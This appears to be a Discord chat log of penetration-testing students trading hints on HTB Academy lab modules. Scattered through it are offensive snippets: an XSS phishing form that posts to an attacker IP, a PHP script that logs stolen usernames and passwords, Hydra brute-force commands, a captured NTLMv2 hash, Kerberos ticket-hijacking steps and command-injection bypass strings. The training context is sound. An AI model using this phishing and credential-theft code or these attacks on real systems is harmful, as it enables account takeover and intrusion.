i got through all the labs without once triggering it

but i heard it's like several minutes, which sounds like suck

[fringe urchin]

yea it def would have made it easier without triggering it / knowing when it was triggered.
i did medium without any trigger and easy i triggered it once to see what happends and at least for easy its like 3min ban

[fathom pendant]

so it's very likely you did an oops while trying to figure out how to be sneaky

[fringe urchin]

question about cpts, are these HARD modules easier then cpts? working towards it

[fathom pendant]

i mean from what I know, the CPTS exam is challenging

but is doable if you just KISS

[Keep It Simple Stupid]

a lot of people have said some of their hurdles were just thinking dumber

[fringe urchin]

yea right! yea sometimes you just need to step back and the flag is easier as you think.

[fathom pendant]

"no way it's [user has sudo perms and can privesc without care]"

[fringe urchin]

no way something like that would exist

rather not test it and keep going down the rabbit hole

[fathom pendant]

step 0 enumerate

it's something i tell people when something basic they're goofing up in a module

and it's clear they missed something in their enum phase

[fringe urchin]

Yea btw you havent done cpts? You planning to?

[fathom pendant]

eventually

life events happened and i haven't been in a place to finish the course

[clever topaz]

anyone can give me hint on XSS final assessment? i cant get the cookie

have already changed 3 servers

[fringe urchin]

Understandable.
Said to,my self oscp was too pricey and in the meantime when im moving countries and looking for a job i should get my cert.

[visual pollen]

hi, any suggestions for some reporting tool for windows or mac please? 🙏🏻😬

[olive bramble]

Simple Markdown is cool. Usually you can convert markdown into other file formats when you need to

[shadow current]

Password Attacks Lab - Medium

so iwas able to get the zip file from the smb and cracked it, and also cracked the docx inside so. got j**** creds and now i got d**** creds and now logged in as dennis so from here i presume i need to escalate to root any tips?

[fathom pendant]

obsidian

[fathom pendant]

just look for whatever d has access to

reuse of creds also goes wild

[shadow current]

i dont really get it can you elaborate more?

[fathom pendant]

nope

i'll refer to my earlier comment

Enumerate

just look around

[shadow current]

got it now i was looking at the answer for a long time and ignoring it

ffffffffff

[fathom pendant]

👍

literally how I figured it out

kinda like a "wait...why is... ffs"

[next bronze]

DA will have rights over the whole domain

[dim wolf]

looking at how tiny the scroll bar is for the code analysis section in malware analysis

[fathom pendant]

me when i see my uni course has a 50 section chapter

https://tenor.com/view/chuckles-im-in-danger-ralph-wiggum-the-simpsons-gif-14149962

[dim wolf]

between this and uni.. i'd rather take this

uni got me reading 100 page chapters

[signal laurel]

Would anyone be able to provide some guidance?
Module: HTTPS/TLS Attacks
Chapter: POODLE & BEAST

[sterile epoch]

Hi I am in XSS injection module,
why am I facing this error

[fathom pendant]

well it looks like you don't have a username defined

in your php login

[sterile epoch]

I need tot capture the username so why will I define it?

[fathom pendant]

it means that you didn't define a variable for username

[sterile epoch]

used the same one as in the example

[fathom pendant]

¯_(ツ)_/¯

[cloud urchin]

well, looks like it's pulling from creds.txt

[ashen umbra]

I am in the Attacking Common Services Module on SQL.

||I captured a hash. and cracked it. I tried to authenticate as mssqlsvc using mssqlclient.py. I cant go in that way. Tried to pass the hash too using the same. tried sqsh still nothing. I just need to find a way to get privs to enum the FlagDB. ||What am I missing?

[sterile epoch]

I used touch to create a file

[ashen umbra]

here are the commands I used:

||mssqlclient.py -p 1433 mssqlsvc@10.129.180.219

mssqlclient.py mssqlsvc@10.129.180.219 -hashes :2648801DD5C4392C6D58CC7E317BC0CF||

[sterile epoch]

I guess there is a problem with the payload maybe?
'> <h3>Please login to continue</h3><form action=http://10.10.16.109><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>'); document.getElementById('urlform').remove(); <!----

[cloud urchin]

well look at the error, the error seems to be coming from index.php

says error on line 2

[dim wolf]

you're missing a )

[fathom pendant]

referring to line 4? also it looks like an extra "

i don't see where the paired " is

[dim wolf]

line 4 is good

it's line 2 that's the issue

[fringe urchin]

this?

[dim wolf]

ah nah i'm wrong

[fathom pendant]

ah missed that

[sterile epoch]

yep

<?php
if (isset($_GET[username]) && isset($_GET[password])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET[username]} | Password: {$_GET[password]}");
    header("Location: http://10.129.131.194/phishing/index.php");
    fclose($file);
    exit();
}
?>

its still an error

[next bronze]

that's not the right hash, no idea where you got that from

and how did you capture a ntlm v1 hash?

[dim wolf]

put single quotes around username and password

[ashen umbra]

responder and dirtree lemme give you the full output

[fringe urchin]

if (isset($_GET['username']) && isset($_GET['password']))

[dim wolf]

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}");
    header("Location: http://10.129.131.194/phishing/index.php");
    fclose($file);
    exit();
}
?>

[ashen umbra]

||[SMB] NTLMv2-SSP Client : 10.129.180.219
[SMB] NTLMv2-SSP Username : WIN-02\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::WIN-02:6cf2a177ccc483a1:2648801DD5C4392C6D58CC7E317BC0CF:010100000000000080952600AE70DA01E601097B1068557700000000020008003200430037005A0001001E00570049004E002D0036004D0033004C00520037004200410045003300500004003400570049004E002D0036004D0033004C0052003700420041004500330050002E003200430037005A002E004C004F00430041004C00030014003200430037005A002E004C004F00430041004C00050014003200430037005A002E004C004F00430041004C000700080080952600AE70DA0106000400020000000800300030000000000000000000000000300000B1DCF34F80DA9395F94A0A3D292850F4299D0BA7E6C9469FB2BF2A210AA5C5150A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00390034000000000000000000||

[ashen umbra]

above

[cloud urchin]

i put your code into chatgpt and asked why it didn't work, it spit out calculac0re's script

clearly there's an error in the php code

[sterile epoch]

yep its working now

[next bronze]

that's not how you use a ntlmv2 hash, you can't just take out a portion and use it to pth, ntlmv2 is only good for cracking or relaying

[sterile epoch]

Thanks

[dim wolf]

we love quotes

[ashen umbra]

So, I would provide the full hash including user:domain? I tried that initially but i got " too many values to unpack (expected 2)

[next bronze]

you can't pth with ntlmv2, crack it

[ashen umbra]

Thanks. that is good to know.

already did with john.

tried authenticating with that pass with mssqlclient.py and sqsh. No dice, but I wasnt able to with sqsh anyway for the htbdbuser, had to use mssqlclient

[next bronze]

"No dice" doesn't mean anything, what's the error?

[ashen umbra]

Thanks for the continued help. Here is what I have consistently got:

||mssqlclient.py mssqlsvc@10.129.180.219
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

Password:
[*] Encryption required, switching to TLS
[-] ERROR(WIN-02\SQLEXPRESS): Line 1: Login failed for user 'mssqlsvc'.

sqsh -S 10.129.180.219 -U mssqlsvc -P 'princess1' -h
sqsh-3.0 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
Open Client Message
Layer 6, Origin 8, Severity 5, Number 3
ct_connect(): directory service layer: internal directory control layer error:
Requested server name not found.||

[next bronze]

try with -windows-auth for mssqlclient

[ashen umbra]

ok one sec

yup

that was it. Thanks let me add that to my notes

[vital zephyr]

Hi everyone, I'm back. LOL Sorry to bother you, I would like to ask those more expert than me for a suggestion, I'm in the ''attack on common services'' module in particular I can't understand where I'm going wrong, the second question asks me to find the password, I'm using this command: hydra -l [e-mail] -p /home/kali/Desktop/pws/pws.list -f 10.129.203.12 pop3 , which is the only one that offers the tab, the result it gives me is empty, it gives me the white space without anything, can anyone give me a hint.

[fathom pendant]

don't use the @inlanefreight.htb

[vital zephyr]

just marlin and that's it?

[fathom pendant]

yes

[vital zephyr]

same result

What's wrong in your opinion, Marciel?

[fathom pendant]

idk dude

[vital zephyr]

😢

[fathom pendant]

also

your password list seems awfully small

it looks like it's only one password

meaning that's why it's failing

[vital zephyr]

there are actually 334 words in the pws.list file

[fathom pendant]

well according to the hydra output

there's not

also i believe it's -P for a list

[vital zephyr]

strange

[fathom pendant]

but i could be thinking of the netexec/crackmapexec syntax

[cloud urchin]

that's correct, -P for list

[fathom pendant]

yeah

[cloud urchin]

you're using -p so it's using the line as the password, not the file

[fathom pendant]

you're passing it the literal string /home/kali/Desktop/pws/pws.list is the password

[fathom pendant]

now it's running

[cloud urchin]

hydra -l username -P wordlist.txt -v -s <port> <server> <service>

[fathom pendant]

-l <username> | -L <LIST> ; -p <password> | -P [LIST]

don't use the @inlanefreight.htb

[vital zephyr]

dont work

in this forum it said to use the command as if it were an email, i.e. @inla...htb https://forum.hackthebox.com/t/attacking-common-services-attacking-email-services-smtp/258990/34

[fathom pendant]

unreachable

try respawning the target

[vital zephyr]

now i try

[fathom pendant]

oh wait yeah i was thinking of a different section where you drop the @domain

mb for that

[vital zephyr]

so I have to use the snail, correct?

[fathom pendant]

try

also: try with the pop3s

instead of just pop3

or imap/imaps

[vital zephyr]

the pop3s port appears to be filtered and not open

[fathom pendant]

could just be that protocol is just being dumb

ah ok couldn't recall for that lab

[cloud urchin]

you could also create a user.txt and input both usernames just to rule one out

then use -L instead of -l

[vital zephyr]

but is there something wrong with what I wrote?

[cloud urchin]

so it's saying your execution of the command was successful, but it did not bruteforce the password. so either the username is wrong, or your password list isn't good enough

[fathom pendant]

did you use the pws.list given by the module?

[vital zephyr]

yes

[patent oak]

Good evening friends. Lately my RDP is just black when I try and log in. It seems to do it a lot. Then work for no reason, drop not let me back on, etc. Is there something I should be doing to get a more reliable connection?

[vital zephyr]

and which password list can I use? I used the module resources one

[fathom pendant]

what's the md5sum of the pws.list file you're using?

[vital zephyr]

the username is copied and pasted

[fathom pendant]

username should be right

[vital zephyr]

In what sense? I downloaded the file from the site and used it in the script, I didn't change anything

tthis is the user

[fathom pendant]

the username is correct

and i just ran the attack myself

it works

md5sum is just a checksum verification

[fathom pendant]

so that you know the file didn't get corrupted in transfer

[vital zephyr]

in this case what should I do?

[fathom pendant]

this is the md5sum

[fathom pendant]

redownload

[twilit ruin]

my HTB vms are not loading and are buggy

when i click start instance it says i have one open already

[fathom pendant]

sounds like a browser issue

might wanna reach out to support about that

[signal laurel]

Can I get some help with the Bleichenbacher and DROWN section. Everytime I run the attack it wont work with the pcap file unless I create a ||socat tunnel or use -connect. ||

[vital zephyr]

I redownloaded the file, reused it and it still gives me the same result.

[cloud urchin]

change to a userlist and add just the username (just to make sure) and use a better wordlist.

[fathom pendant]

reset the target

[fathom pendant]

the username@foggy estuary is the right format

[vital zephyr]

again?

[fathom pendant]

also you don't need to specify the port

[vital zephyr]

Now I've done this, and it's taking longer to work

but now i ctrl c

there is something wrong

now i re-spawning the target

[fathom pendant]

don't use a userlist

you have the right username

[next bronze]

if it's works for marcie then it's probably a layer 8 issue

[vital zephyr]

nothign, i dont know why it does not work

anyway I'm moving away from the PC for 10 minutes, so it will be inactive for a while

[cloud urchin]

i would recommend going back over the section that taught you this

and make sure you're using the right list as well

[fathom pendant]

the pws list provided is the correct list

oh

OH MY GOD

I just saw it

[dim wolf]

what is that IP address

[fathom pendant]

check spelling

[fathom pendant]

my spawned target

issue was a layer 8 issue on their end

[e-mail]

^

[dim wolf]

nvm

[fathom pendant]

tell me when you see it

[next bronze]

it was indeed layer 8 issue

[vital zephyr]

now it works

[cloud urchin]

lol i said that first.. he said he copy/pasted

[astral inlet]

kudos to me lol+

[dim wolf]

spooky company

[fathom pendant]

technically the username was correct - the domain was not

[cloud urchin]

the context was -l for hydra, the username flag 😛

[fathom pendant]

yes

but saying wrong username led to some confusion

bc they immediately thought "uh no i have the right user"

[dim wolf]

i guess i need to make another vm for malware

[fathom pendant]

just download kali; windows flags it as malware

[vital zephyr]

i have completed the moduleeee, amazing

when i tagged u discord have blocked me, lol

[vital zephyr]

.

[vital zephyr]

.

btw thanks to help me

[fathom pendant]

if you tag too many people automod says no

[topaz zenith]

So I am in the Shells & Payloads module in the "Reverse Shells" section and I cannot get the attack box to stay stable enough to do anything. Have tried using pwnbox and my own VM. Assistance would be greatly appreciated!

[vital zephyr]

I didn't know, because I only tagged myself instead I wanted to tag you, good to know

[mild cypress]

Working on the Command Injections module and it looks like https://github.com/Bashfuscator/Bashfuscator isn't playing nicely with aarch64. Anyone able to recommend an alternative? 🤔

[astral inlet]

oh you are 1 part ahead of me

fighting through Advanced Command Obfuscation

[mild cypress]

Did you need help with it?

[astral inlet]

i ask after 30 mins if i do not get it 🙂

thx for the offer

🙂

[mild cypress]

Okay. I ran into a bit of trouble with it, but it was a stupid mistake. Make sure you have the command it gives you right 😂

[astral inlet]

@mild cypress please check dm

[next bronze]

you don't really need it for that module iirc

[topaz zenith]

So I am in the Shells & Payloads module in the "Reverse Shells" section and I cannot get the attack box to stay stable enough to do anything. Have tried using pwnbox and my own VM. Assistance would be greatly appreciated!

[fathom pendant]

change vpn regions and respawn the target

wait ~ 5-10 minutes for it to launch fully

[remote latch]

login brute force IS THE WORST module

[astral inlet]

no

lol

[remote latch]

yes

hydra is fine and shit

but finding the right wordlists is just pain

and waiting for it to crack is also pain

[astral inlet]

did you complete the path ?

[remote latch]

which path

[astral inlet]

for example the pentesterpath

[remote latch]

nah

but im doing it

still brute force is fucked man

[steady dust]

why?

it's pretty easy

[astral inlet]

annoying but easy , yes

[remote latch]

wordlists sucks

i made it almost to the end

so its pretty easy when it comes to progress but at certain time its fucked

[steady dust]

they explain it pretty nice

[remote latch]

different strengths, different weaknesses

[remote latch]

it is explained but for me its fucked

[steady dust]

if login brute forcing its fucked, then AD... :))

[astral inlet]

AD was nice

[remote latch]

see

different strengths, different weaknesses

[astral inlet]

the injection part is heavier for me

and this time limit on the boxes

[steady dust]

AD is more complex

[remote latch]

it is

[steady dust]

you can add more time. 😄

[astral inlet]

i can´t

[steady dust]

I also observed that some times I have the button to add more time, but sometimes no

[raven lagoon]

💀 bro

[steady dust]

I hope that in two weeks I will finish CPTS path and I will try to take it.

[astral inlet]

so you passed command injection already 😉 ?

[steady dust]

No. Probably I will start it this weekend.

[astral inlet]

they teach you everything

and in every task you have to find out some part yourself lol

[raven lagoon]

is it really that hard?

im still at web proxies xd

[astral inlet]

for me it is

[raven lagoon]

what does it talk about

[dim wolf]

it talks about command injections

[raven lagoon]

like escaping controls to inject commands?

[raven lagoon]

maybe being more speicifc

[astral inlet]

it looks kinda like this

||{IFS}${PATH:0:1}usr${PATH:0:1}share${PATH:0:1}${IFS}|${IFS}||

[raven lagoon]

WTF

[steady dust]

Use google for solutions. 🙂

[dim wolf]

the module wasn't too difficult

[astral inlet]

maybe for you

and thats fine

[fathom pendant]

Different strengths and weaknesses

[dim wolf]

What are injections, and different types
Identifying code vulnerable to command injections
Different command injection operators we can use
When to use each injection operator, depending on the injection case
Creating a command injection payload
Bypassing front-end input validation and sanitization filters
Identifying back-end filters and security mitigations
Identifying which characters are blacklisted
Different techniques to bypass various blacklisted characters such as spaces, slashes, and semi-colons
Different techniques to bypass various blacklisted commands
Building unique obfuscation methods to bypass blacklisted commands
Using evasion tools to create advanced obfuscated payloads
How to turn vulnerable code to code that is secure against command injections

[raven lagoon]

is source analysis too

[dim wolf]

at the end

[raven lagoon]

gg i gotta skip that module

[astral inlet]

if you want tobecome cpts you can´t

[dim wolf]

running away won't save you

[raven lagoon]

;\

[astral inlet]

@dim wolf mind for a nudge ?

[dim wolf]

i have no notes on that module so i'm afraid can't help you

[astral inlet]

i just need one sign

😄

|||||

[fathom pendant]

https://tenor.com/view/heres-your-sign-duh-no-obviously-well-gif-14071016

[astral inlet]

funny even it dod not really help 😉

[raven lagoon]

dont listen to marcielee

she doesnt wanna let you go ahead youll get stuck for the rest of your life

[next bronze]

that's a skill issue

[next bronze]

where are you stuck at

[remote latch]

just thug it out

i believe in u

[raven lagoon]

right mindset

[astral inlet]

i need this || | || obfuscated please

[next bronze]

yeah but which section

just don't use it

[astral inlet]

https://academy.hackthebox.com/module/109/section/1039

[next bronze]

yep, don't use it

encode

[astral inlet]

hmpf

great time is up

thx @next bronze

it worked

too much overthinking :/

[mild cypress]

Nope, you don't. But I'd still like to play with the tool for learning purposes (or a similar alternative if one exists 🤷 )

[astral inlet]

install kali ?

[fathom pendant]

Brother I've helped people get further past where I'm at

[next bronze]

true and based

[mild cypress]

I'm using kali 🤔 Not sure what you mean.

[next bronze]

didn't you said you're using arch?

[mild cypress]

Aarch64 (Apple M1) running kali in a VM.

Talking about processors here.

[next bronze]

oh arm

[mild cypress]

Arm64 === Aarch64

[topaz zenith]

Tried it now twice

[misty saddle]

Try using rdesktop

In my experience rdesktop is a lot more stable than xfreerdp.

rdesktop -u htb-student -p HTB_@cademy_stdnt! <IP>

[topaz zenith]

Well connected quickly, now my entire VM is froze 😂😂

is there a better VM out there for this than VMware? This honestly happens in every module and seems like I'm the only one I talk to that has to keep dealing with crap not working I want to get this stuff done for fsakes.

[cloud urchin]

i use vmware and xfreerdp, never had issues

did you give your vm enough resources?

[vital seal]

finally done with the logrotate section. Found a way to make the reverse shell stick! 🙂

[echo forge]

(Help) HTTPs/TLS Attacks
Skills Assessment

I was able to retrieve the admin token. When I use it to reedem the admin token, it sends an email. I don't know what to do to retrieve the flag. Any help, please?

[ember coral]

what am i doing wrong to prevent the options flag from showing me whats allowed?

[fathom pendant]

Don't use -i?

[misty saddle]

I had a lot of issues with my Kali as well. I deleted my VM and then setup a new one in VMware and then did a sudo apt upgrade/update and haven’t had any issues for a long time.

And remember to not provide too many cpu cores but plenty of ram.

[topaz zenith]

Well I've done that as well, 16GB of RAM. 2 cores. but finally got it running. I did another sudo apt-upgrade/update. Have a 2,000 dollar ASUS computer from work for this reason lol.

but for this module I turned of the Firewalls, ran the command as administrator and it never works so I went in the control panel and turned off firewalls and keep getting this when I run the payload. Is there something other than I.P you need to change?

Well I don't know how to share the screenshot here

[cloud urchin]

take the screen shot from your host instead of the vm

[topaz zenith]

Wont let me post a file to this server, I have the app open on my host

tried pasting in as well

[stuck pier]

I’m having issue with this ? + 1 What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?

[astral inlet]

ok skill assesment was kinda "easy" 🙂

enough 4 today -... 6 modules to go

[cloud urchin]

it never really ends

[astral inlet]

true

[cloud urchin]

attacking common applications - Find another valid user on the target GitLab instance. i found 4 other users and it's not accepting any of them. the scan is still going. this is going to take forever. does anyone have a good userlist? i feel like i'll have to use the 10 million usernames ones and i just want to move on with the module and not sit here for hours while it goes.

[astral inlet]

wait a few days i´ll catch up 😉

xato is very long

[cloud urchin]

yeah kinda dumb, it's gatekeeping the next part of the module for no reason

the concept is easy, i run the python script and it enumerates from a list of users.. i get it. i can move on, but it won't let me without the answer and it doesn't accept any of the other 4 answers so far.

literal hours to wait for this dumb thing

[astral inlet]

same like in password module 😄

but in reality its way harder lol

especially when you do a retest and they hardened everything

[cloud urchin]

ok ready for someone to just tell me the answer lol

this thing has been running for an hour now

they should provide a small userlist.txt or something

[celest crater]

Hii. I was solving question from introduction to bash Module. Create an "If-Else" condition in the "For"-Loop that checks if the variable named "var" contains the contents of the variable named "value". Additionally, the variable "var" must contain more than 113,450 characters. If these conditions are met, the script must then print the last 20 characters of the variable "var". Submit these last 20 characters as the answer. I got the var maching with the value. but when i tried to submit the answer it shows me wrong answer. Any help ?

[minor stag]

I'm completely at a loss on Password Attacks Lab - Hard

[astral inlet]

why -?

[minor stag]

I bruteforced johanna's password, which got me access to both smb and rdp, but she doesn't seem to be able to access anything in smb, and the entire module teaches me ways to use rdp as an admin, but she isn't an admin. I can't find anything

NFS exists, but when I enumerated it it showed there wasn't anything to mount, so I'm not sure what that's all about

[astral inlet]

did you take notes ?

[minor stag]

Yes

I have every module I've done so far on gitbook

[astral inlet]

dm me the notes if you like

[cloud urchin]

Can anyone who has completed Attacking Common Applications help me out?

[cloud urchin]

this module is straight up broken. the app dies after so many enumeration attempts, so you can't get through the whole userlist

[minor stag]

I killed my lab trying to brute force rdp lol

[cloud urchin]

yeah i'm pretty sure you're not actually supposed to use the 10 million user list, but the problem is the smaller list turns up nothing (it actually turns up another user "bob" but the answer isn't accepted)

[strange pivot]

Theres a keepass on the system I think on that one

[minor stag]

I found the keepass but I can't find the master pass

[strange pivot]

Did you get the login from the keepas?

[minor stag]

No, it gives you the username Johanna and I brute forced it. Couldn't access anything on smb but RDP works. Found the keepass login app but haven't unlocked it

[strange pivot]

right so if you have the keepass login and you can rdp, go unlock it 😛

ohh you found the app, but not the keepass file?

[minor stag]

No, I mean I found the app to unlock keepass but I don't have the file

[strange pivot]

I pm'd you

[coarse schooner]

I'm working on cracking the hash for the svc_workstations account before I can ssh login to get the flag for question 5 of the "Pass the Ticket (PtT) from Linux" module. I am using mode 1470 in hashcat to crack the password, I've tried leveraging the mutated password list from the resources and the rockyou list, both are exhausted. Either I'm using the wrong hashcat method or there is a step I'm missing. Any hints?

[cloud urchin]

what does the question ask

if you're passing a hash, you generally aren't cracking a password

[coarse schooner]

"Check Carlos' crontab, and look for keytabs to which Carlos has access. Try to get the credentials of the user svc_workstations and use them to authenticate via SSH. Submit the flag.txt in svc_workstations' home directory."

the instructions in the material say to crack the hash to obtain the password for that user

and then login with ssh

[strange pivot]

ill check my notes sec

[minor stag]

list: No credentials cache found (filename: /tmp/krb5cc_0)
root@linux01:~# cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist
Ticket cache: FILE:/root/krb5cc_647401106_I8I133

Did you do this part of the module instructions?

[cloud urchin]

can you paste the contents of svc.txt

[strange pivot]

ah i think for that one you need to find the main ticket

and then you need to impersonate it

with the command silvance gave above 😛

[cloud urchin]

right, pass the pash instead of cracking

[strange pivot]

noo

[coarse schooner]

ok . I was taking my cue from

[strange pivot]

pass the ticket :p FILE:/tmp/krb5cc_647402606

[coarse schooner]

the question is a red herring i guess

[strange pivot]

I'll be honest i looked everywhere for the ticket on that one. But its in the logs of the linikatz

[coarse schooner]

wait, no, that's once you've logged in with the svc account

I'm trying to get the password to login with the svc account

[strange pivot]

You dont have to login, your impersonating the user with pass the ticket 😛

[hallow remnant]

MODULE: HTTP ATTACKS
SECTION: TE.CL

I'm struggling with the accompanying exercise for this section and could really use some pointers to make sure I'm not fundamentally misunderstanding the attack:

Payload 1:

[coarse schooner]

I'll just try it

[strange pivot]

root@linux01:~# cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist

this is pass the ticket

[hallow remnant]

Payload 2:

[strange pivot]

change the /root/krb5cc with the ticket i gave you

[cloud urchin]

no one here has done the attacking common applications yet?

[strange pivot]

Make sure you understand the difference though, a passthehash steals the users hash to login. a pass the ticket impersonates them by exporting

[coarse schooner]

so as I suspected, I don't yet have the privileges to access that tmp file

getting permissions denied

[strange pivot]

right so do a search for all the tickets and try elevate some more 😛

[strange pivot]

youve got it 😛

your already svc_workstation

[coarse schooner]

doesn't seem to have access rights, I just impersonated the ticket

[strange pivot]

what are you trying to access?

[coarse schooner]

Just to provide as much info as I can

[wise badger]

Hello..I am using the smtp-user-enum script for enumerating users in the Footprinting - SMTP module. The wordlist I used is from the resources. It is just 101 users. However, the script returns to me 0 results. How can it be? I used -M VRFY option

[coarse schooner]

you'll note there are no root krb files, and I don't have sufficient permissions to access any of them

the material has you find kt for carlos, dump the hash, crack the hash, and switch user to carlos, then the next instruction is to reiterate through those steps for svc_workstations

[clever topaz]

I asked for help in #1024429874246590575 but the post got deleted?

[coarse schooner]

I've found the kt, dumped the hash value, but can't crack, and crackstation doesn't have anything for it

[strange pivot]

Im sure you impersonate the svc stations hash to get that flag ^

[coarse schooner]

the next step you can do that "Once we log in with the credentials for the user svc_workstations, we can use sudo -l and confirm that the user can execute any command as root. We can use the sudo su command to change the user to root."

in order to crack the hash I passed it through hash-identifier

so i went with the mode for sha-256 (1470), and leverage the mut_passwords.list for this module, also rockyou

[strange pivot]

can i pm you?

[wise badger]

Hello. I have also tried the smtp-user-enum.pl script but did not help. Syntax: perl smtp-user-enum.pl -v -M VRFY -U ~/Downloads/footprinting-wordlist.txt -t 10.129.130.100 . Result is 0 .

[wise badger]

Don't worry..I will increase the timing..wait.

Which is incorrect? The banner version or the username?

[wise badger]

Hi everyone. The academy VPN keeps dropping me constantly. I am in for 1 minute or so , then it drops me. If i reset the target and reconnect, it is good again. But after 1 minute, it drops me again. I always have to reset. And this does not happen to me the first time. I cannot do footprinting if the connections keep dropping. If there is no solution to this, I need to cancel my subscription (basic subscriber).

[minor stag]

ps aux | grep 'ovpn'

See if you have more than one instance running

[steady matrix]

Hello all, i've got a quick question regarding the module NTLM relay attacks, chapter "Advanced NTLM Relay Attacks Targeting Kerberos". Long story short we end up getting a TGT ticket for a user, then perform a pass-the-ticket and authenticate to the DC. I am assuming any domain user can therefore authenticate to the DC (?), and if so, since this use has low privileges (afaik), what's the point to do so? like, once on the DC with evil-winrm, what would be the next step for an attacker?

[cloud urchin]

anyone complete Attacking Common Applications?

[cloud urchin]

Once you compromise another user, you can enumerate with the new user who may have different privs

[steady matrix]

right that makes sense, thought i was missing something in particular

[woven copper]

Hello there, is the target spawning not working agian ? I am on Skill Assessment for Intro to Deserialization attacks and it has been almost 30 minutes.

[pulsar oyster]

am I supposed to put sda/path/to/share lol like wth

[void kayak]

hi everyone! I got stuck for hours on the linux privilege escalation module (51) section 475 regarding the kernel exploit. This specific section talks about what kernel exploits are with an example of dirty cow. Then it goes on with showing how to search for an example on google, you grab the kernel version and you search for exploit. It shows what it found for this 4.4.0-116-generic. However, the target system being different, they of course specify the fact that you have to attempt another another exploit.
I've done all the google search I could think of looking for the specific version. Ran all the suggesters I could find. I decided to give up and click on the hint. It showed me an obscure CVE that did not come up from my searches, and obviously it worked right away.
Then, for good measure, I tried to look for it specifically for the kernel I was working on and nothing. My question is the following, how do people find this CVE if they aren't looking at the section's hint? I understand that it was publically available, but I want to know how I can improve my searching skills

[barren crystal]

when did au servers become a thing for acadamy?

[rustic sage]

can anyone help me out. I forgot my user password on linux and now I don't know how to set up the ssh

[cedar granite]

Do you have physical access to the machine, if so then use single user mode

[rustic sage]

how do I do that. I'm really new to linux lol

[cedar granite]

TipsAndTricks/ResetRootPassword
https://wiki.centos.org/TipsAndTricks(2f)ResetRootPassword.html

[brittle arch]

Does the RDP and SOCKS Tunneling with SocksOverRDP section work for anybody? I've done the thing so many times and can't get that final connection for Jason. It seesm to randomly die, I've turned off antivirus and run things as administrator where possible

[solid moth]

hello？

any chinese here？

[cedar granite]

how are you

[short hare]

Hey onto HACKING WORDPRESS: Directory Indexing
Question: Keep in mind the key WordPress directories discussed in the WordPress Structure section. Manually enumerate the target for any directories whose contents can be listed. Browse these directories and locate a flag with the file name flag.txt and submit its contents as the answer.

I have found the directory with the directory listing enabled and looked into it but found no files containing the flag

Anyone can give a nudge to it?

[short hare]

Where are you stuck?

[cloud urchin]

seems to be broken. attacking gitlab portion, can't enumerate the other valid user

the server kept crashing and i had to reset 3/4 times, eventually i got a stable one and ran through the 10 million username list, and i found like 4 other usernames but none worked

so i just want the answer so i can move on, or at least the usert list to use because it's not in seclists

none of those work

ran for like 6 hours

module is straight up broken

[short hare]

||-w /opt/useful/SecLists/Usernames/cirt-default-usernames.txt||
I hope this will help

[cloud urchin]

tried that too

i literally did all of them in the folder

i'll try again

was hard getting a stable server

like i get the concept.. run the script and find users.. not hard

[short hare]

reset the target and try again
confirm me here if you have found the answer..!

[cloud urchin]

i reset it a lot

[short hare]

do you have access to pwnbox?

[cloud urchin]

yeah

[short hare]

give it a try there

[cloud urchin]

they need to beef up the resources on the server it can't handle that python script

trying agian with that word list

it's done

and it returned the same users, doesn't work

same ones i found before

[short hare]

yeah you have it

[ocean night]

You have the answer

[short hare]

go ahead and try

[cloud urchin]

my god case sensitive?

[short hare]

[ocean night]

Linux be Linux 🤷‍♂️

[cloud urchin]

well thanks... 10 hours later it's done

[ocean night]

Ouch 😐

[cloud urchin]

there are multiple answers and it only accepts one with a specific case...

[quick crane]

do you solved

[cloud urchin]

that should be adjusted

[rapid sparrow]

Yes

[short hare]

Hey anyone can help me with it..?

[quick crane]

can I dm you for this module

[rapid sparrow]

I only done that section lol

[cloud urchin]

i haven't done that module, but if it wants you to find a directory being hosted on the site and then navigate to those directories to find flag.txt, why not just gobuster or feroxbuster the directories? the question does say specifically to go to the ones covered in the module, maybe try there first?

[quick crane]

ok,Can I add you as a friend? Others may ask you for advice in the future.

[ocean night]

Can you DM me the exact command you used, showing the wordlist path? Odd that it came back with multiple results.. it could be the wordlist has been updated since the module was published.

[sleek moss]

• 1 Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain. footprinting/fingerpritning dns idk how to do it i looked dig but nto find

[soft cedar]

you can query the name server and get the FQDN

[sleek moss]

nope └──╼ $dig @ns.inlanefreight.htb inlanefreight.htb ANY

; <<>> DiG 9.18.19-1~deb12u1-Debian <<>> @ns.inlanefreight.htb inlanefreight.htb ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30673
;; flags: qr aa rd; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 2
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 041a4820075184290100000065eaa6a5041788a2f2559c26 (good)
;; QUESTION SECTION:
;inlanefreight.htb. IN ANY

;; ANSWER SECTION:
inlanefreight.htb. 604800 IN TXT "atlassian-domain-verification=t1rKCy68JFszSdCKVpw64A1QksWdXuYFUeSXKU"
inlanefreight.htb. 604800 IN TXT "MS=ms97310371"
inlanefreight.htb. 604800 IN TXT "v=spf1 include:mailgun.org include:_spf.google.com include:spf.protection.outlook.com include:_spf.atlassian.net ip4:10.129.124.8 ip4:10.129.127.2 ip4:10.129.42.106 ~all"
inlanefreight.htb. 604800 IN SOA inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb.

